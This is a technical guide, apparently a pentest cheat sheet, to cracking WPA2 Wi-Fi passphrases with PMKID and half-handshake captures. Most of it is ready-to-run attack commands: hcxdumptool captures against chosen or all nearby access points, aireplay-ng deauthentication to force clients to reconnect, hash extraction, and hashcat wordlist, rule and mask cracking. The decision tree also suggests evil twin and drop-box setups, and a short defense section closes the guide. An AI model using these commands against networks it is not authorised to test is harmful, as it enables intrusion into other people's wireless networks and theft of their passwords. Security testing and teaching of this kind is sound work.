WPA2 PMKID & Half-Handshake Attacks
Combined guide for two related WPA2 cracking techniques that reduce or eliminate the need for a fully captured 4-way handshake. Both produce a hash crackable offline with hashcat -m 22000. The unified .hc22000 format handles both in one file.
Why Bother With These Techniques
Standard 4-way handshake capture requires:
- An active client connecting to the AP (or deauth + wait for reconnect)
- Capturing all 4 EAPOL frames at the right moment
- Noisy deauth packets visible to WIDS (wireless intrusion detection systems)
- APs with PMF/802.11w rejecting deauth from unauthenticated stations
Both techniques below work around these limitations.
Technique 1: PMKID Attack (Fully Clientless)
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || BSSID || Client_MAC)
PMK = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations, 32 bytes)
Capture:
sudo airmon-ng check kill
# hcxdumptool manages monitor mode and probes APs automatically
sudo hcxdumptool -i wlan0 -o capture.pcapng --enable_status=1
# Target specific AP (BSSID lowercase, no colons):
echo "aabbccddeeff" > targets.txt
sudo hcxdumptool -i wlan0 -o capture.pcapng --filtermode=2 --filterlist_ap=targets.txt
# Watch for [PMKID captured] — done in seconds if AP supports it
Extract and crack:
hcxpcapngtool -o hashes.hc22000 capture.pcapng # WPA*01* lines = PMKIDs
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 hashes.hc22000 --show # display cracked passwords
Technique 2: Half-Handshake (EAPOL M1 + M2 Only)
A "half-handshake" means capturing only EAPOL Message 1 (AP→client, contains ANonce) and Message 2 (client→AP, contains SNonce + MIC). Messages 3 and 4 are not needed because the MIC in M2 is computed from PTK which is derived from PMK + both nonces — enough to crack offline.
When does a half-handshake occur:
- Client begins connecting but disconnects before completing
- Packet loss drops M3 or M4
- Only 1–2 deauth packets sent — client reconnects immediately, M1+M2 captured before M3+M4
Capture:
sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w half_shake
# Trigger with minimal deauth (just enough for M1+M2, not a full reconnect cycle)
sudo aireplay-ng --deauth 2 -a AA:BB:CC:DD:EE:FF wlan0mon
Extract (hcxpcapngtool handles incomplete handshakes):
hcxpcapngtool -o hashes.hc22000 half_shake-01.cap
# WPA*02* lines = EAPOL handshakes (full or partial)
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt -O -w 3
Combined Capture (Recommended Best Practice)
hcxdumptool captures both PMKID and EAPOL in a single session:
sudo hcxdumptool -i wlan0 -o combined.pcapng \
--enable_status=3 \
--active_beacon \
--do_rcascan
# Let run 5–10 minutes — collects from all nearby APs
hcxpcapngtool -o all_hashes.hc22000 combined.pcapng
# See what was captured
wc -l all_hashes.hc22000 # total crackable targets
grep "^WPA\*01\*" all_hashes.hc22000 | wc -l # PMKIDs
grep "^WPA\*02\*" all_hashes.hc22000 | wc -l # EAPOL handshakes
hashcat -m 22000 all_hashes.hc22000 /usr/share/wordlists/rockyou.txt
Decision Tree
AP in range?
├─ Yes → Try PMKID first (hcxdumptool, 60 sec)
│ ├─ [PMKID captured] → crack with hashcat -m 22000 → done
│ └─ No PMKID (AP doesn't support it)
│ └─ Client connected?
│ ├─ Yes → 2× deauth → capture M1+M2 → hcxpcapngtool → hashcat
│ └─ No → Wait for client, or evil twin to lure one in
└─ No → Get closer or deploy a drop box + airserv-ng
Wordlist Strategy
# Standard wordlist
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt
# Wordlist + rules (best64 catches most common transformations)
hashcat -m 22000 hashes.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 8-digit PIN passwords (very common on ISP-provisioned routers)
crunch 8 8 0123456789 -o digits8.txt
hashcat -m 22000 hashes.hc22000 digits8.txt
# Mask attack (known pattern: Capital + 6 lowercase + 2 digits)
hashcat -m 22000 hashes.hc22000 -a 3 ?u?l?l?l?l?l?l?d?d
Defense
- WPA3-SAE: Dragonfly handshake — no PMK from PSK, no offline cracking possible
- Strong random passphrase (15+ chars): brute-force becomes computationally impractical
- Monitor for hcxdumptool probes: active probes appear as unusual association attempts in airodump-ng — a WIDS can alert on them
- PMF (802.11w): makes deauth-based M1+M2 capture harder; combine with strong PSK for layered defense